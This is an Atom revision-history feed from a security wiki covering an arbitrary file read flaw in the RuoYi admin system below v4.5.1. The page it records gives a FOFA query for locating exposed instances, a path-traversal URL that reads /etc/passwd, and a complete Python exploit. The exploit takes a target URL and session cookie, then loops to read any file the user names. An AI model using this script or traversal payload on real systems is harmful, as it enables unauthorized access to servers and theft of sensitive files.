<?xml version="1.0"?>
<feed xmlns="http://www.w3.org/2005/Atom" xml:lang="chinese">
	<id>https://pwnwiki.com/index.php?action=history&amp;feed=atom&amp;title=%E8%8B%A5%E4%BE%9D%28RuoYi%29%E7%AE%A1%E7%90%86%E7%B3%BB%E7%B5%B1%E5%BE%8C%E5%8F%B0%E4%BB%BB%E6%84%8F%E6%96%87%E4%BB%B6%E8%AE%80%E5%8F%96%E6%BC%8F%E6%B4%9E</id>
	<title>若依(RuoYi)管理系統後台任意文件讀取漏洞 - Revision history</title>
	<link rel="self" type="application/atom+xml" href="https://pwnwiki.com/index.php?action=history&amp;feed=atom&amp;title=%E8%8B%A5%E4%BE%9D%28RuoYi%29%E7%AE%A1%E7%90%86%E7%B3%BB%E7%B5%B1%E5%BE%8C%E5%8F%B0%E4%BB%BB%E6%84%8F%E6%96%87%E4%BB%B6%E8%AE%80%E5%8F%96%E6%BC%8F%E6%B4%9E"/>
	<link rel="alternate" type="text/html" href="https://pwnwiki.com/index.php?title=%E8%8B%A5%E4%BE%9D(RuoYi)%E7%AE%A1%E7%90%86%E7%B3%BB%E7%B5%B1%E5%BE%8C%E5%8F%B0%E4%BB%BB%E6%84%8F%E6%96%87%E4%BB%B6%E8%AE%80%E5%8F%96%E6%BC%8F%E6%B4%9E&amp;action=history"/>
	<updated>2026-04-17T09:19:04Z</updated>
	<subtitle>Revision history for this page on the wiki</subtitle>
	<generator>MediaWiki 1.35.1</generator>
	<entry>
		<id>https://pwnwiki.com/index.php?title=%E8%8B%A5%E4%BE%9D(RuoYi)%E7%AE%A1%E7%90%86%E7%B3%BB%E7%B5%B1%E5%BE%8C%E5%8F%B0%E4%BB%BB%E6%84%8F%E6%96%87%E4%BB%B6%E8%AE%80%E5%8F%96%E6%BC%8F%E6%B4%9E&amp;diff=138&amp;oldid=prev</id>
		<title>Pwnwiki: /* POC */</title>
		<link rel="alternate" type="text/html" href="https://pwnwiki.com/index.php?title=%E8%8B%A5%E4%BE%9D(RuoYi)%E7%AE%A1%E7%90%86%E7%B3%BB%E7%B5%B1%E5%BE%8C%E5%8F%B0%E4%BB%BB%E6%84%8F%E6%96%87%E4%BB%B6%E8%AE%80%E5%8F%96%E6%BC%8F%E6%B4%9E&amp;diff=138&amp;oldid=prev"/>
		<updated>2021-03-04T10:00:41Z</updated>

		<summary type="html">&lt;p&gt;&lt;span dir=&quot;auto&quot;&gt;&lt;span class=&quot;autocomment&quot;&gt;POC&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;
&lt;table class=&quot;diff diff-contentalign-left diff-editfont-monospace&quot; data-mw=&quot;interface&quot;&gt;
				&lt;col class=&quot;diff-marker&quot; /&gt;
				&lt;col class=&quot;diff-content&quot; /&gt;
				&lt;col class=&quot;diff-marker&quot; /&gt;
				&lt;col class=&quot;diff-content&quot; /&gt;
				&lt;tr class=&quot;diff-title&quot; lang=&quot;chinese&quot;&gt;
				&lt;td colspan=&quot;2&quot; style=&quot;background-color: #fff; color: #202122; text-align: center;&quot;&gt;← Older revision&lt;/td&gt;
				&lt;td colspan=&quot;2&quot; style=&quot;background-color: #fff; color: #202122; text-align: center;&quot;&gt;Revision as of 10:00, 4 March 2021&lt;/td&gt;
				&lt;/tr&gt;&lt;tr&gt;&lt;td colspan=&quot;2&quot; class=&quot;diff-lineno&quot; id=&quot;mw-diff-left-l20&quot; &gt;Line 20:&lt;/td&gt;
&lt;td colspan=&quot;2&quot; class=&quot;diff-lineno&quot;&gt;Line 20:&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td class='diff-marker'&gt; &lt;/td&gt;&lt;td style=&quot;background-color: #f8f9fa; color: #202122; font-size: 88%; border-style: solid; border-width: 1px 1px 1px 4px; border-radius: 0.33em; border-color: #eaecf0; vertical-align: top; white-space: pre-wrap;&quot;&gt;&lt;/td&gt;&lt;td class='diff-marker'&gt; &lt;/td&gt;&lt;td style=&quot;background-color: #f8f9fa; color: #202122; font-size: 88%; border-style: solid; border-width: 1px 1px 1px 4px; border-radius: 0.33em; border-color: #eaecf0; vertical-align: top; white-space: pre-wrap;&quot;&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td class='diff-marker'&gt; &lt;/td&gt;&lt;td style=&quot;background-color: #f8f9fa; color: #202122; font-size: 88%; border-style: solid; border-width: 1px 1px 1px 4px; border-radius: 0.33em; border-color: #eaecf0; vertical-align: top; white-space: pre-wrap;&quot;&gt;&lt;div&gt;==POC==&lt;/div&gt;&lt;/td&gt;&lt;td class='diff-marker'&gt; &lt;/td&gt;&lt;td style=&quot;background-color: #f8f9fa; color: #202122; font-size: 88%; border-style: solid; border-width: 1px 1px 1px 4px; border-radius: 0.33em; border-color: #eaecf0; vertical-align: top; white-space: pre-wrap;&quot;&gt;&lt;div&gt;==POC==&lt;/div&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td class='diff-marker'&gt;−&lt;/td&gt;&lt;td style=&quot;color: #202122; font-size: 88%; border-style: solid; border-width: 1px 1px 1px 4px; border-radius: 0.33em; border-color: #ffe49c; vertical-align: top; white-space: pre-wrap;&quot;&gt;&lt;div&gt;&amp;lt;&lt;del class=&quot;diffchange diffchange-inline&quot;&gt;code&lt;/del&gt;&amp;gt;&lt;/div&gt;&lt;/td&gt;&lt;td class='diff-marker'&gt;+&lt;/td&gt;&lt;td style=&quot;color: #202122; font-size: 88%; border-style: solid; border-width: 1px 1px 1px 4px; border-radius: 0.33em; border-color: #a3d3ff; vertical-align: top; white-space: pre-wrap;&quot;&gt;&lt;div&gt;&amp;lt;&lt;ins class=&quot;diffchange diffchange-inline&quot;&gt;pre&lt;/ins&gt;&amp;gt;&lt;/div&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td class='diff-marker'&gt; &lt;/td&gt;&lt;td style=&quot;background-color: #f8f9fa; color: #202122; font-size: 88%; border-style: solid; border-width: 1px 1px 1px 4px; border-radius: 0.33em; border-color: #eaecf0; vertical-align: top; white-space: pre-wrap;&quot;&gt;&lt;div&gt;import requests&lt;/div&gt;&lt;/td&gt;&lt;td class='diff-marker'&gt; &lt;/td&gt;&lt;td style=&quot;background-color: #f8f9fa; color: #202122; font-size: 88%; border-style: solid; border-width: 1px 1px 1px 4px; border-radius: 0.33em; border-color: #eaecf0; vertical-align: top; white-space: pre-wrap;&quot;&gt;&lt;div&gt;import requests&lt;/div&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td class='diff-marker'&gt; &lt;/td&gt;&lt;td style=&quot;background-color: #f8f9fa; color: #202122; font-size: 88%; border-style: solid; border-width: 1px 1px 1px 4px; border-radius: 0.33em; border-color: #eaecf0; vertical-align: top; white-space: pre-wrap;&quot;&gt;&lt;div&gt;import sys&lt;/div&gt;&lt;/td&gt;&lt;td class='diff-marker'&gt; &lt;/td&gt;&lt;td style=&quot;background-color: #f8f9fa; color: #202122; font-size: 88%; border-style: solid; border-width: 1px 1px 1px 4px; border-radius: 0.33em; border-color: #eaecf0; vertical-align: top; white-space: pre-wrap;&quot;&gt;&lt;div&gt;import sys&lt;/div&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td colspan=&quot;2&quot; class=&quot;diff-lineno&quot; id=&quot;mw-diff-left-l81&quot; &gt;Line 81:&lt;/td&gt;
&lt;td colspan=&quot;2&quot; class=&quot;diff-lineno&quot;&gt;Line 81:&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td class='diff-marker'&gt; &lt;/td&gt;&lt;td style=&quot;background-color: #f8f9fa; color: #202122; font-size: 88%; border-style: solid; border-width: 1px 1px 1px 4px; border-radius: 0.33em; border-color: #eaecf0; vertical-align: top; white-space: pre-wrap;&quot;&gt;&lt;div&gt;     Cookie = str(input(&amp;quot;\033[35mCookie &amp;gt;&amp;gt;&amp;gt; \033[0m&amp;quot;))&lt;/div&gt;&lt;/td&gt;&lt;td class='diff-marker'&gt; &lt;/td&gt;&lt;td style=&quot;background-color: #f8f9fa; color: #202122; font-size: 88%; border-style: solid; border-width: 1px 1px 1px 4px; border-radius: 0.33em; border-color: #eaecf0; vertical-align: top; white-space: pre-wrap;&quot;&gt;&lt;div&gt;     Cookie = str(input(&amp;quot;\033[35mCookie &amp;gt;&amp;gt;&amp;gt; \033[0m&amp;quot;))&lt;/div&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td class='diff-marker'&gt; &lt;/td&gt;&lt;td style=&quot;background-color: #f8f9fa; color: #202122; font-size: 88%; border-style: solid; border-width: 1px 1px 1px 4px; border-radius: 0.33em; border-color: #eaecf0; vertical-align: top; white-space: pre-wrap;&quot;&gt;&lt;div&gt;     POC_1(target_url, Cookie)&lt;/div&gt;&lt;/td&gt;&lt;td class='diff-marker'&gt; &lt;/td&gt;&lt;td style=&quot;background-color: #f8f9fa; color: #202122; font-size: 88%; border-style: solid; border-width: 1px 1px 1px 4px; border-radius: 0.33em; border-color: #eaecf0; vertical-align: top; white-space: pre-wrap;&quot;&gt;&lt;div&gt;     POC_1(target_url, Cookie)&lt;/div&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td class='diff-marker'&gt;−&lt;/td&gt;&lt;td style=&quot;color: #202122; font-size: 88%; border-style: solid; border-width: 1px 1px 1px 4px; border-radius: 0.33em; border-color: #ffe49c; vertical-align: top; white-space: pre-wrap;&quot;&gt;&lt;div&gt;&amp;lt;/&lt;del class=&quot;diffchange diffchange-inline&quot;&gt;code&lt;/del&gt;&amp;gt;&lt;/div&gt;&lt;/td&gt;&lt;td class='diff-marker'&gt;+&lt;/td&gt;&lt;td style=&quot;color: #202122; font-size: 88%; border-style: solid; border-width: 1px 1px 1px 4px; border-radius: 0.33em; border-color: #a3d3ff; vertical-align: top; white-space: pre-wrap;&quot;&gt;&lt;div&gt;&amp;lt;/&lt;ins class=&quot;diffchange diffchange-inline&quot;&gt;pre&lt;/ins&gt;&amp;gt;&lt;/div&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td class='diff-marker'&gt;−&lt;/td&gt;&lt;td style=&quot;color: #202122; font-size: 88%; border-style: solid; border-width: 1px 1px 1px 4px; border-radius: 0.33em; border-color: #ffe49c; vertical-align: top; white-space: pre-wrap;&quot;&gt;&lt;div&gt; &lt;/div&gt;&lt;/td&gt;&lt;td colspan=&quot;2&quot;&gt; &lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td class='diff-marker'&gt; &lt;/td&gt;&lt;td style=&quot;background-color: #f8f9fa; color: #202122; font-size: 88%; border-style: solid; border-width: 1px 1px 1px 4px; border-radius: 0.33em; border-color: #eaecf0; vertical-align: top; white-space: pre-wrap;&quot;&gt;&lt;/td&gt;&lt;td class='diff-marker'&gt; &lt;/td&gt;&lt;td style=&quot;background-color: #f8f9fa; color: #202122; font-size: 88%; border-style: solid; border-width: 1px 1px 1px 4px; border-radius: 0.33em; border-color: #eaecf0; vertical-align: top; white-space: pre-wrap;&quot;&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td class='diff-marker'&gt; &lt;/td&gt;&lt;td style=&quot;background-color: #f8f9fa; color: #202122; font-size: 88%; border-style: solid; border-width: 1px 1px 1px 4px; border-radius: 0.33em; border-color: #eaecf0; vertical-align: top; white-space: pre-wrap;&quot;&gt;&lt;div&gt;==參考==&lt;/div&gt;&lt;/td&gt;&lt;td class='diff-marker'&gt; &lt;/td&gt;&lt;td style=&quot;background-color: #f8f9fa; color: #202122; font-size: 88%; border-style: solid; border-width: 1px 1px 1px 4px; border-radius: 0.33em; border-color: #eaecf0; vertical-align: top; white-space: pre-wrap;&quot;&gt;&lt;div&gt;==參考==&lt;/div&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td class='diff-marker'&gt; &lt;/td&gt;&lt;td style=&quot;background-color: #f8f9fa; color: #202122; font-size: 88%; border-style: solid; border-width: 1px 1px 1px 4px; border-radius: 0.33em; border-color: #eaecf0; vertical-align: top; white-space: pre-wrap;&quot;&gt;&lt;div&gt;https://mp.weixin.qq.com/s/zrVTiHCCymlnrERrSJOUog&lt;/div&gt;&lt;/td&gt;&lt;td class='diff-marker'&gt; &lt;/td&gt;&lt;td style=&quot;background-color: #f8f9fa; color: #202122; font-size: 88%; border-style: solid; border-width: 1px 1px 1px 4px; border-radius: 0.33em; border-color: #eaecf0; vertical-align: top; white-space: pre-wrap;&quot;&gt;&lt;div&gt;https://mp.weixin.qq.com/s/zrVTiHCCymlnrERrSJOUog&lt;/div&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;/table&gt;</summary>
		<author><name>Pwnwiki</name></author>
	</entry>
	<entry>
		<id>https://pwnwiki.com/index.php?title=%E8%8B%A5%E4%BE%9D(RuoYi)%E7%AE%A1%E7%90%86%E7%B3%BB%E7%B5%B1%E5%BE%8C%E5%8F%B0%E4%BB%BB%E6%84%8F%E6%96%87%E4%BB%B6%E8%AE%80%E5%8F%96%E6%BC%8F%E6%B4%9E&amp;diff=137&amp;oldid=prev</id>
		<title>Pwnwiki: 建立內容為「==漏洞影響== RuoYi &lt; v4.5.1  ==FOFA語法== &lt;pre&gt; app=&quot;若依-管理系统&quot; &amp;&amp; body=&quot;admin&quot; &lt;/pre&gt;   ==漏洞利用== 訪問 &lt;pre&gt; https://xxx.xxx.xxx.xxx/com…」的新頁面</title>
		<link rel="alternate" type="text/html" href="https://pwnwiki.com/index.php?title=%E8%8B%A5%E4%BE%9D(RuoYi)%E7%AE%A1%E7%90%86%E7%B3%BB%E7%B5%B1%E5%BE%8C%E5%8F%B0%E4%BB%BB%E6%84%8F%E6%96%87%E4%BB%B6%E8%AE%80%E5%8F%96%E6%BC%8F%E6%B4%9E&amp;diff=137&amp;oldid=prev"/>
		<updated>2021-03-04T10:00:16Z</updated>

		<summary type="html">&lt;p&gt;建立內容為「==漏洞影響== RuoYi &amp;lt; v4.5.1  ==FOFA語法== &amp;lt;pre&amp;gt; app=&amp;quot;若依-管理系统&amp;quot; &amp;amp;&amp;amp; body=&amp;quot;admin&amp;quot; &amp;lt;/pre&amp;gt;   ==漏洞利用== 訪問 &amp;lt;pre&amp;gt; https://xxx.xxx.xxx.xxx/com…」的新頁面&lt;/p&gt;
&lt;p&gt;&lt;b&gt;New page&lt;/b&gt;&lt;/p&gt;&lt;div&gt;==漏洞影響==&lt;br /&gt;
RuoYi &amp;lt; v4.5.1&lt;br /&gt;
&lt;br /&gt;
==FOFA語法==&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
app=&amp;quot;若依-管理系统&amp;quot; &amp;amp;&amp;amp; body=&amp;quot;admin&amp;quot;&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
==漏洞利用==&lt;br /&gt;
訪問&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
https://xxx.xxx.xxx.xxx/common/download/resource?resource=/profile/../../../../etc/passwd&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
這將下載文件&amp;lt;code&amp;gt;/etc/passwd&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
可以使用Burp抓包改變&amp;lt;code&amp;gt;/etc/passwd&amp;lt;/code&amp;gt;為其他文件路徑獲取敏感信息。&lt;br /&gt;
&lt;br /&gt;
==POC==&lt;br /&gt;
&amp;lt;code&amp;gt;&lt;br /&gt;
import requests&lt;br /&gt;
import sys&lt;br /&gt;
import random&lt;br /&gt;
import re&lt;br /&gt;
from requests.packages.urllib3.exceptions import InsecureRequestWarning&lt;br /&gt;
&lt;br /&gt;
def title():&lt;br /&gt;
    print('+------------------------------------------')&lt;br /&gt;
    print('+  \033[34mPOC_Des: http://wiki.peiqi.tech                                   \033[0m')&lt;br /&gt;
    print('+  \033[34mVersion: RuoYi &amp;lt; v4.5.1                                            \033[0m')&lt;br /&gt;
    print('+  \033[36m使用格式:  python3 poc.py                                            \033[0m')&lt;br /&gt;
    print('+  \033[36mUrl         &amp;gt;&amp;gt;&amp;gt; http://xxx.xxx.xxx.xxx                             \033[0m')&lt;br /&gt;
    print('+  \033[36mCookie      &amp;gt;&amp;gt;&amp;gt; JSESSIONID=xxxxxx                                   \033[0m')&lt;br /&gt;
    print('+  \033[36mFile        &amp;gt;&amp;gt;&amp;gt; /etc/passwd                                         \033[0m')&lt;br /&gt;
    print('+------------------------------------------')&lt;br /&gt;
&lt;br /&gt;
def POC_1(target_url, Cookie):&lt;br /&gt;
    vuln_url = target_url + &amp;quot;/common/download/resource?resource=/profile/../../../../etc/passwd&amp;quot;&lt;br /&gt;
    headers = {&lt;br /&gt;
        &amp;quot;User-Agent&amp;quot;: &amp;quot;Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.111 Safari/537.36&amp;quot;,&lt;br /&gt;
        &amp;quot;Cookie&amp;quot;:Cookie&lt;br /&gt;
    }&lt;br /&gt;
    try:&lt;br /&gt;
        requests.packages.urllib3.disable_warnings(InsecureRequestWarning)&lt;br /&gt;
        response = requests.get(url=vuln_url, headers=headers, verify=False, timeout=5)&lt;br /&gt;
        print(&amp;quot;\033[32m[o] 正在请求 {}//common/download/resource?resource=/profile/../../../../etc/passwd \033[0m&amp;quot;.format(target_url))&lt;br /&gt;
        if &amp;quot;root&amp;quot; in response.text and response.status_code == 200:&lt;br /&gt;
            print(&amp;quot;\033[32m[o] 目标 {}存在漏洞 ,成功读取 /etc/passwd \033[0m&amp;quot;.format(target_url))&lt;br /&gt;
            print(&amp;quot;\033[32m[o] 响应为:\n{} \033[0m&amp;quot;.format(response.text))&lt;br /&gt;
            while True:&lt;br /&gt;
                Filename = input(&amp;quot;\033[35mFile &amp;gt;&amp;gt;&amp;gt; \033[0m&amp;quot;)&lt;br /&gt;
                if Filename == &amp;quot;exit&amp;quot;:&lt;br /&gt;
                    sys.exit(0)&lt;br /&gt;
                else:&lt;br /&gt;
                    POC_2(target_url, Cookie, Filename)&lt;br /&gt;
        else:&lt;br /&gt;
            print(&amp;quot;\033[31m[x] 请求失败 \033[0m&amp;quot;)&lt;br /&gt;
            sys.exit(0)&lt;br /&gt;
    except Exception as e:&lt;br /&gt;
        print(&amp;quot;\033[31m[x] 请求失败 \033[0m&amp;quot;, e)&lt;br /&gt;
&lt;br /&gt;
def POC_2(target_url, Cookie, Filename):&lt;br /&gt;
    vuln_url = target_url + &amp;quot;/common/download/resource?resource=/profile/../../../../{}&amp;quot;.format(Filename)&lt;br /&gt;
    headers = {&lt;br /&gt;
        &amp;quot;User-Agent&amp;quot;: &amp;quot;Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.111 Safari/537.36&amp;quot;,&lt;br /&gt;
        &amp;quot;Cookie&amp;quot;:Cookie&lt;br /&gt;
    }&lt;br /&gt;
    try:&lt;br /&gt;
        requests.packages.urllib3.disable_warnings(InsecureRequestWarning)&lt;br /&gt;
        response = requests.get(url=vuln_url, headers=headers, verify=False, timeout=5)&lt;br /&gt;
        print(&amp;quot;\033[32m[o] 响应为:\n{} \033[0m&amp;quot;.format(response.text))&lt;br /&gt;
&lt;br /&gt;
    except Exception as e:&lt;br /&gt;
        print(&amp;quot;\033[31m[x] 请求失败 \033[0m&amp;quot;, e)&lt;br /&gt;
&lt;br /&gt;
if __name__ == '__main__':&lt;br /&gt;
    title()&lt;br /&gt;
    target_url = str(input(&amp;quot;\033[35mPlease input Attack Url\nUrl &amp;gt;&amp;gt;&amp;gt; \033[0m&amp;quot;))&lt;br /&gt;
    Cookie = str(input(&amp;quot;\033[35mCookie &amp;gt;&amp;gt;&amp;gt; \033[0m&amp;quot;))&lt;br /&gt;
    POC_1(target_url, Cookie)&lt;br /&gt;
&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
==參考==&lt;br /&gt;
https://mp.weixin.qq.com/s/zrVTiHCCymlnrERrSJOUog&lt;/div&gt;</summary>
		<author><name>Pwnwiki</name></author>
	</entry>
</feed>